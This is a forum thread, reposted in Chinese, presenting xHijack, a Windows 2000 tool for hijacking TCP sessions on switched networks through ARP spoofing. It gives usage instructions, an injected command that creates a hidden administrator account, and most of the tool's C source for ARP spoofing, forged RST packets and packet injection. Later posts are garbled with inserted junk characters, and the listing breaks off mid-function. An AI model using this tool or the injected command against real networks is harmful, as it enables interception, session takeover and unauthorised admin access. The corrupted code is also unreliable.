数学建模社区-数学中国

标题: 再谈交换环境下的会话劫持(For windows2000) [打印本页]

作者: 韩冰 时间: 2004-11-21 01:44
标题: 再谈交换环境下的会话劫持(For windows2000)
第一步是开启IP Routing的功能，修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能，使用如下:

Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
劫持后数据流程：server <--> hijacker <--> client

<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程：server <--> gw <--> routes <--> client
劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client

<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程：client <--> gw <--> routes <--> server
劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server

输入两个参数后，会提示你选择网卡，然后会提示
l       <-- List all connections
r x    <-- Reset the number x connection
w x    <-- Watch the number x connection
h x command <-- Hijack the number x connection to execute command

list、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。

劫持的流程如下：
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
<1>伪装成Server给Client发一个rst包
<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。

刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。

BTW:我没有空间，编译好的程序没地方放：（

参考资料
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377

以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File    : xHijack.c
Version    : 1.0
Create at : 2002/8/12
Last modifed at  : 2002/8/19
Author    : eyas
Email    : ey4s@21cn.com
HomePage : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。

也许下一版本会修正这些问题，也许不会有下一版本了。

-----------------------------------------------------------------------------*/
#include
#include
#include
#include
#include
#include
#include

#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")

#define Max_Num_Adapter 10
#define Max_Num_IPAddr  5
#define EPT_IP    0x0800    /* type: IP  */
#define ARP_HARDWARE  0x0001    /* Dummy type for 802.3 frames */
#define EPT_ARP    0x0806    /* type: ARP */

#define  ACTION_NONE 0
#define  ACTION_WATCH  1
#define  ACTION_RESET  2
#define ACTION_HIJACK  3

/*以1字节对齐*/
#pragma pack(1)
typedef struct _ehhdr
{
  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
  unsigned short  EthernetType;
}EHHDR, *PEHHDR;

typedef struct _iphdr       //定义IP首部
{
  unsigned char h_verlen;    //4位首部长度,4位IP版本号
  unsigned char tos;       //8位服务类型TOS
  unsigned short total_len; //16位总长度（字节）
  unsigned short ident;    //16位标识
  unsigned short frag_and_flags;  //3位标志位
  unsigned char ttl;       //8位生存时间 TTL
  unsigned char proto;    //8位协议 (TCP, UDP 或其他)
  unsigned short checksum; //16位IP首部校验和
  unsigned int sourceIP;    //32位源IP地址
  unsigned int destIP;    //32位目的IP地址
}IPHDR, *PIPHDR;

typedef struct _tcphdr       //定义TCP首部
{
  USHORT th_sport;       //16位源端口
  USHORT th_dport;       //16位目的端口
  unsigned int th_seq;    //32位序列号
  unsigned int th_ack;    //32位确认号
  unsigned char th_lenres; //4位首部长度/6位保留字
  unsigned char th_flag;    //6位标志位
  USHORT th_win;       //16位窗口大小
  USHORT th_sum;       //16位校验和
  USHORT th_urp;       //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr       //定义TCP pseudo header
{
  unsigned long saddr;
  unsigned long daddr;
  char mbz;
  char ptcl;
  unsigned short tcpl;
}PSDHDR, *PPSDHDR;

typedef struct _arphdr
{
  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
  unsigned char  SourceMAC[6];/* sender hardware address */
  unsigned long  SourceIP;/* sender protocol address */
  unsigned char  DestMAC[6];/* target hardware address */
  unsigned long  DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct _ArpPacket
{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;

typedef struct _tcppacket
{
  EHHDR  ehhdr;
  IPHDR  iphdr;
  TCPHDR  tcphdr;
}TCPPACKET, *PTCPPACKET;

typedef struct _conninfo
{
  DWORD  dwServerIP;
  USHORT  uServerPort;
  DWORD  dwClientIP;
  USHORT  uClientPort;
  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

//定义全局变量

作者: 韩冰 时间: 2004-11-21 01:44
unsigned int  g_ServerSideIP,
      g_ClientSideIP,
      g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
      g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
char    g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE    g_hThread[4];
char    g_szCommand[128];//command to execute after hijack
DWORD    g_dwAction;//action type
DWORD    g_dwCtrlConn;//action 所控制连接的标识
DWORD    g_ident;//节点标识，递增
PCONNINFO g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
      g_pConnHead = NULL,
      g_pConnLast = NULL;
char    g_szSendPacketBuf[1514];
LPPACKET g_lpSendPacket;
//函数
void    usage(void);
void    ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void    ListAllConnection();//列出当前所有的连接
void    ResetActionAllFlag();
USHORT    checksum(USHORT *, int);
BOOL    GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL    IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER InitAdapter();//初始化一些参数和全局变量
BOOL    SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL    SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD    GetConnNum(char *, DWORD, DWORD *);
DWORD    CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);

int main(int argc, char **argv)
{
  struct bpf_stat stat;
  int    i;

  usage();
  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread
  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
return 0;
  }
  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
printf("Warning: unable to get stats from the kernel!\n");
  else
printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource
  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
}

//
//功能：重置所有于ACTION有关的标志
//

作者: 韩冰 时间: 2004-11-21 01:45
void ResetActionAllFlag()
{
  g_dwCtrlConn = 0;
  g_pCurrCtrlConn = NULL;
  g_dwAction = ACTION_NONE;
}

//
//功能：处理Ctrl+C和Ctrl+Break事件
//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
  switch(dwCtrlType)
  {
case CTRL_BREAK_EVENT:
   //reset action all flag
   ResetActionAllFlag();
   break;
case CTRL_C_EVENT:
   //terminate all thread
   TerminateThread(g_hThread[0], 0);
   TerminateThread(g_hThread[1], 0);
   TerminateThread(g_hThread[2], 0);
   TerminateThread(g_hThread[3], 0);
   break;
default:
   break;
  }
  return TRUE;
}

//
//功能：处理用户输入
//
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
  DWORD  i;
  char  szBuff[16];

  *lpCommandPos = 0;
  for(i=0; i<15, i代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
         "r x\t\t<-- Reset the number x connection\n"
         "w x\t\t<-- Watch the number x connection\n"
         "h x command\t<-- Hijack the number x connection to execute command\n"
         "[Note]\n"
         "Ctrl+Break to clear all action\n"
         "Ctrl+C to exit\n";
  char  szPrompt[] = "\nxHijack>";
  char  szBuffer[128];
  DWORD  dwPos;
  PCONNINFO  pTmp;

  while(1)
  {
gets(szBuffer);//不考虑buffer overflow
switch(szBuffer[0])
{
   case 'l':
   case 'L':
      ListAllConnection();
      break;
   case 'r':
   case 'R':
      if(strlen(szBuffer) >2)
      {
      g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
      g_dwAction = ACTION_RESET;
      }
      else printf("%s", szHelp);
      break;
   case 'w':
   case 'W':
      if(strlen(szBuffer) > 2)
      {
      g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
      g_dwAction = ACTION_WATCH;
      }
      else printf("%s", szHelp);
      break;
   case 'h':
   case 'H'://h 1 xxx
      if(strlen(szBuffer) > 5)
      {
      g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
      //如果command第一个字符是'或"
      if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
      {
         strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
         g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
      }
      else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
      strcat(g_szCommand, "\x0D\x0A");
      g_dwAction = ACTION_HIJACK;
      }
      else printf("%s", szHelp);
      break;
   default:
      printf("%s", szHelp);
      break;
}//end of switch
//find the specify ident's struct point
if( (g_dwCtrlConn) && (g_dwAction) )
{
   g_pCurrCtrlConn = NULL;
   pTmp = g_pConnHead;
   while(pTmp)
   {
      if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
      {
      g_pCurrCtrlConn = pTmp;
      break;
      }
      pTmp = pTmp->Next;
   }
   if(!g_pCurrCtrlConn)
   {
      printf("Can't find the number %d connection.\n", g_dwCtrlConn);
      //reset action all flag
      ResetActionAllFlag();
   }
}
if(!g_dwCtrlConn) ResetActionAllFlag();
//显示当前用户所期望的动作
printf("\nCurrentAction:");
switch(g_dwAction)
{
   case ACTION_WATCH:
      printf("ACTION_WATCH");
      break;
   case ACTION_RESET:
      printf("ACTION_RESET");
      break;
   case ACTION_HIJACK:
      printf("ACTION_HIJACK");
      break;
   default:
      printf("ACTION_NONE");
      break;
}
printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
  return 0;
}

作者: 韩冰 时间: 2004-11-21 01:46
// //功能：列出当前所有连接 // void ListAllConnection() { PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; pTmp = g_pConnHead; while(pTmp) { if(pTmp->bActive) { saSource.sin_addr.s_addr = pTmp->dwServerIP; saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); } pTmp = pTmp->Next; } } // //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 // LPADAPTER InitAdapter() { LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ULONG AdapterLength = 1024; int iAdapterNum = 0; int iRetCode, i; int iAdapter = 0; ULONG ulLen = 0; DWORD dwRet; PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; PIP_ADDR_STRING pIPAddr; //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = temp1 = AdapterName; i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { if (*temp == '\0') { memcpy(AdapterList,temp1,(temp-temp1)*2); g6 B- J$ r7 x/ S0 B K }9 U! B* H printf("%d - %S\n", i+1, AdapterList); 7 R' m x# Q# N a8 i$ @9 `2 U temp1=temp+1; 2 I! y' Q. @9 i; z6 X1 W i++; ; N2 P) M8 S8 X: a2 W } 0 S% M4 M5 d& ] temp++; 4 D i+ r$ W9 p+ X3 J& A" T9 o } ' X+ F H' T7 j0 [0 i1 Y //choose adapter & e) h* G' E* s1 s while((iAdapter <= 0) || (iAdapter > i)) ) n b' B% }/ p! b( t, N$ B' ] { * R- e v- E* o/ S3 Z t: N printf("\nPlease choose your Adapter:"); 8 ?* B; S% v& M( c( X, d scanf("%1d", &iAdapter); 7 g/ a! \# W% w! U3 o) v; T } % p, ]% I# [& O! X5 j! ~ printf("\n"); 4 c7 I6 `* W' N8 J* k* C/ w# L //---------------------------------------------// / Y6 v: ^2 V8 J2 P8 u3 _& f //这里调用iphlpapi来取得本地ip_addr和mac_addr 5 f6 r. U5 o$ h$ y" j sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); 0 o1 \6 F1 F" Z& U) A dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 9 q+ \, @7 h: W if(dwRet != ERROR_BUFFER_OVERFLOW) & d" N. l' v: z8 | { $ ^. B5 G4 t9 C8 ~8 n3 N4 t/ B printf("GetAdapterInfo error:%d\n", GetLastError()); * T+ ^3 C4 o' j% u$ Y5 i return 0; ' O0 a; g4 c; r9 r- o } * |9 Q, j) |, u) S" Y7 l' h pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 0 i2 {1 l* Q* Q7 q* a! B1 m if(!pAdapterInfo) # `' I" Z7 U) d* o3 X0 p) v$ A { + r& H' w0 o$ P" M/ G( ] printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); * Z# J7 _! ]; b/ ~ return 0; 6 v0 q1 E+ @! v# L } / O, O8 B/ b5 h dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 1 v; c4 D) K u% y- `. G if(dwRet != ERROR_SUCCESS) # g3 r. O5 }0 J u% D { $ n6 g$ R; e& Q& d3 e# Z printf("GetAdapterInfo error:%d\n", GetLastError()); 7 H) t! \ o1 b, w7 u; I return 0; , L4 g0 p& p0 r# t3 [2 R } " r) e' m Y$ \! K) t1 V pTmp = pAdapterInfo; 5 J$ r. L7 b7 B( B E: _ while(pTmp) ) @# n' l+ w" C( l; L { * e. v* k, c! g0 B: e8 M //字符匹配
作者: 韩冰 时间: 2004-11-21 01:46
if(strstr(szSelectAdapterName, pTmp->AdapterName)) 8 _ ^' H. `6 r- e9 E3 R { 8 c- y2 M: f2 k! C# A! Z0 } //found it,get own adapter mac address $ i* t! b) E- x& J' [0 u/ ?$ z memcpy(g_szOwnMAC, pTmp->Address, 6); ) ? }6 T, G% F3 s //get ip address , U, B; f4 s% i5 ?/ k* m pIPAddr = &pTmp->IpAddressList; 4 L4 C* d+ b2 M' v( J while(pIPAddr) . {! M7 C( M7 D; T q" q { # n* }+ H- Q0 R& @ g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); " W/ P% @9 b \5 m% W3 }$ G pIPAddr = pIPAddr->Next; 8 t: Y* t* A0 s0 r% l3 ` if(g_TotalIP >= Max_Num_IPAddr) break; % n! _4 D+ F# q0 J! ` } + }" u; J6 C+ |' n break; : ]: P8 Y) I/ Y) O$ C } ! l7 K, H" E; T pTmp = pTmp->Next; 1 f8 R1 P+ J) k1 X } S0 o. v) g% [/ l; R! ? free(pAdapterInfo); * l) `7 u( t/ i/ o7 I" \( U. O- G W //not found,return zero ; B5 b" v; _ f5 n% h& N if( (!pTmp) || (!g_TotalIP) ) return 0; ( s0 [4 e% e* T& F3 d //---------------------------------------------// " q1 C9 s' I8 t" D //open adapter 9 S1 _: n0 d2 j) x+ \4 q( q lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); ' |( h/ n' L$ _7 Z if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) + S) }* V0 {# J { 1 w6 I2 @- y6 t; K- B9 F iRetCode = GetLastError(); t" }0 \& Y) d3 H+ y. g# q printf("Unable to open the driver, Error Code : %lx\n", iRetCode); ' s9 U, |' \# G* M3 F) I# p4 o$ J return 0; 5 q# Z( g# u- ~+ {* T" c- G6 N } - m2 j* L4 }% w/ Y" [. L0 l: @2 C' C // set the network adapter in promiscuous mod . X% i5 z& d v1 K if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) - ~) U. i% C1 E4 v* H5 H/ D( Y { " o/ `: J! f( v printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 6 j. }! H+ m8 c8 m if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 9 C: A# O0 C" v- X { 2 E* @+ M, T4 ?* K9 T! R printf("Unable to set ALL_LOCAL mode!\n"); . Q' a1 E u' x: m- o. h return 0; " M# Y: n6 d" N ^& X } / b9 |# _) _5 Q! f% R0 Y } 0 _4 |8 }' ?9 p; u0 q# w // set a 512K buffer in the driver 2 m- x- k Z1 z& h4 O, j @7 X if(PacketSetBuff(lpAdapter, 512000) == FALSE) 9 E& i3 `. a+ c$ a! i9 K) a7 w { ! J. h% j F7 K! m printf("Unable to set the kernel buffer!\n"); 7 g% m; c9 V5 m; ~ return 0; 0 i6 u D- L2 L } 2 Y: r' k% ~+ E/ ]+ L // set a 1 second read timeout : e1 I( U4 V, Q/ e if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 7 H; X# c' _+ S$ l' m printf("Warning: unable to set the read tiemout!\n"); * O& ^* r) s6 i7 f. D5 q6 F0 f8 ` if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 8 F, Z7 S, W3 p3 Z9 ` printf("warning: Unable to send more than one packet in a single write!\n"); # i; E1 J( E/ A1 R% i; z //设置发送的packet ; z% w. w8 i u6 Z3 x, l |; o g_lpSendPacket = PacketAllocatePacket(); - F) O' @, [# L8 f$ {8 | if(g_lpSendPacket == NULL) + o+ X- j5 Q7 O, X* z2 o' Y, ~ { + o5 T' C8 N. \' H2 ^5 x0 x9 ~" J printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); ; C- R* Z7 E# l! |8 d/ h1 w. O+ Y return 0; ! S3 w' n- }+ _ @3 x8 T } 6 k5 Z7 g7 k3 n% ?2 q ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 1 F, R! J! I( j; x' ?* }1 l PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); . A3 J' m$ e i$ t0 K+ m return lpAdapter; 8 l0 \+ M2 I: Y/ j: O/ u/ K} 7 |, i) C* Z* S' K- Z. _/ W1 F7 i& z" y$ ]2 _ //功能：帮助信息 3 T9 E. l+ L. f! b# avoid usage() & f# X8 {: w. V1 q$ T { ) m5 {3 R2 w; e' o2 S! [, N: g* Y printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 4 |4 t3 v: x9 ?% V8 |* s/ h "By eyas 2002/8/19\n" 6 g7 c* q2 z2 F. E "http://www.ey4s.org\n" / e, d2 |4 _( ?( q5 ] "Thanks to Refd0m and shotgun\n\n" # j$ [ E/ h# |6 Z2 U( C& i- ` "Usage: xHijack ServerSide ClientSide\n\n"); 4 }! b: s0 i! @+ P* g& p! p1 } } W7 T9 F. c* z- V " p' E6 B) a" e; W' t6 F// % ~. X1 T( p9 ~. ^//功能：显示数据包的一些详细信息 / @* X0 _& g: y) ?( O+ q+ L // ' K# f7 K+ O( e0 h' f% aVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) / b% n: [- o$ t6 O) U* e { $ r& D0 p$ h2 f1 C SOCKADDR_IN saDest, saSrc; / n( q3 a& B/ E n O' h/ r, O1 ` unsigned char FlagMask; 4 `6 S* X8 @( o( M5 u5 t int i; 4 Z7 l2 `' _+ X" d/ E$ g 7 Y- K) e5 N. c0 F8 T saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; . ^: g9 e4 q8 i) \5 F" U saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; " F6 T1 `# i9 E printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); : M2 p8 S7 O# `( e" q$ N4 u printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), - @! E0 q2 z) q6 R; f( g# x ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 2 ]0 @4 D; h3 u/ ` //display TCP flag # @3 k$ _* |8 g for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) ) x1 n2 M9 V# A) C% Y { - ~3 c/ i6 {9 { if((pTCPPacket->tcphdr.th_flag) & FlagMask) ; X2 S+ D' E9 b( ?4 ] printf("%c", g_szTcpFlag); ; K5 P0 f3 v* q else printf("-"); - g$ }" |" t0 }' E" p/ B } $ m' H8 D" E. H printf("\n"); * R F! u# ~# k/ E# v //如有需要，可显示更多详细的信息 + c6 q8 K4 }" A0 S7 A# w/ ]' J% } if(bDetail) ' d' p( v# O1 V; _* K3 Q3 B" @0 l printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ( s/ g- f6 R7 u& | } ) L) @% G5 z+ i 8 ^4 P! G! i5 p" I$ }7 O+ {// O: B) s/ N( `3 F8 p //功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 : g6 H- p; ?- @! n+ s d2 f" c+ L // ( h# Q' F9 ~' W8 A( ~DWORD WINAPI AnalysePacketsThread(LPVOID lp) 0 }- i8 P1 Q5 a/ S! |, T7 m n- K( i2 M { 4 {. W% @" q1 m8 L# E ULONG ulBytesReceived; 8 i6 `+ ]$ Y9 s7 G( H; c USHORT usDataLen; ; L8 @- }/ ]# f //USHORT usIPHeadLen, usTCPHeadLen; + d! S" F7 ?- m5 b% Z char *buf; 3 }# `! C& x6 q7 C' c u_int off, i; ) m3 p5 W1 v3 u! _ PTCPPACKET pTCPPacket; v! @9 S) N9 o9 q( U( u0 M& w struct bpf_hdr *hdr; 0 ~ K; D1 T4 q$ [& x- G/ h LPPACKET lpRecvPacket; $ @' W& D5 `( B# R) M6 E char szPacketBuf[256000], *pStr; 6 t! A2 |4 M% Z, p* V6 E; W BOOL bDeleteNode, bAddNew; + W9 S/ P" x) l ?: f4 E( E0 |8 Z DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 , |8 L; n- J) O! { BOOL bClientToServer;//数据包是否从客户端发送到服务器端 " d- t. j/ |+ B 5 n5 K% J6 L" ^$ X //设置接收的packet . w/ [: @, u3 ?$ J) g lpRecvPacket = PacketAllocatePacket(); - T, z! k$ E) ^; u# q if(lpRecvPacket == NULL) % Q* w# u8 j' J2 _ { ) L. Z/ M7 h. e8 B. C printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 1 s! f G5 F. r3 f( ~# W8 L return 0; & }8 b0 l/ v8 w8 [- [5 } } 8 x# \5 a5 y! N6 v5 Q; U+ D ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); : w, @2 O( p% H* m! ~; b) O PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); $ z% G& t5 O& K% w6 s while(1) - H2 Z8 b9 A8 N$ e+ ~5 G' m i7 s& \ { 1 U- W( k7 }0 z. {- U // capture the packets , Y7 X6 l9 c4 z$ N t/ j if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 9 r1 J! G& \: M$ ^ { ; I5 A( R# i. y' B! f# {& ` printf("Error: PacketReceivePacket failed.\n"); ' d8 C2 y: }8 j4 T2 x* o- T; x break; 9 f2 C" M p' a& r9 R; v6 H } / h$ l8 p- H' n7 @" y ulBytesReceived = lpRecvPacket->ulBytesReceived; / J* B( c& f- T$ E4 v& v' v* d( G buf = lpRecvPacket->Buffer; ( c3 Y; N" |# Z- b7 h: _) Z( ] off = 0; ) T# q+ t3 C! g0 G" g while(off < ulBytesReceived) # K$ g' j9 X& a3 V1 H# u/ u { # Y# `' x% [3 j$ G hdr = (struct bpf_hdr *)(buf + off); & H% Y: c4 E" r% z1 L' L6 h: y off += hdr->bh_hdrlen; 2 U& @& \: c# G4 E pTCPPacket = (PTCPPACKET)(buf + off); 3 P5 n9 F+ S q0 N1 q# B/ M0 v' v- V off = Packet_WORDALIGN(off + hdr->bh_caplen); , t- q) \ L, T4 N, ^ //不需要处理自己发出的包(转发或本机发送的) : s" O6 ]9 k& ]) J4 I& |7 f if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; + V6 {" i' k: D //检查是否IP包 ' J0 E% ~: _% L% z' V if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; # C# C% g! \% a+ f, j- W //检查是否TCP包 ' z2 _& g7 A% V if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; ( `- Q0 H2 }2 i0 y6 ] //也不处理DestIP是自己的包 # f' @' n% ~7 m0 B% ]- M2 ^ for(i=0; i
作者: 韩冰 时间: 2004-11-21 01:47
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); 6 \  b8 {) p. i  A+ Z/ T; H6 Q
         //reset action flag * T' P& q- I: F7 R% \
         ResetActionAllFlag();
% f- Z, U5 p7 z1 i% @1 A  @       } 4 B0 e! d4 a* L6 O- s* Q
      //start hijack
  `2 e7 ]. U0 g- U- z, ~       else if(g_dwAction == ACTION_HIJACK)
9 j. y6 p0 _  w6 O% H1 ]! Z       {
# R$ O1 o* W! N4 d) N          //send rst packet to client
8 n3 O6 Z2 m9 j' @8 z% {$ V          SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
! R! I! {* ^! a& x; o3 W! Z9 S          //send hijack packet to client 0 e: s: c2 H- u' R; d, B
         SendHiJackPacket(pTCPPacket); ' w1 N' i3 G; \% R
         //reset action flag
& d3 a7 j1 E2 W& L3 y+ Y$ N          ResetActionAllFlag();
5 w! G$ Q- s2 R* u: p+ i% X       }
& u5 y. f: b$ f: h2 F% Q       } 8 }, H1 g3 I' @' D, `/ S
      //show the tcp data 5 c! E/ {; v+ t# o
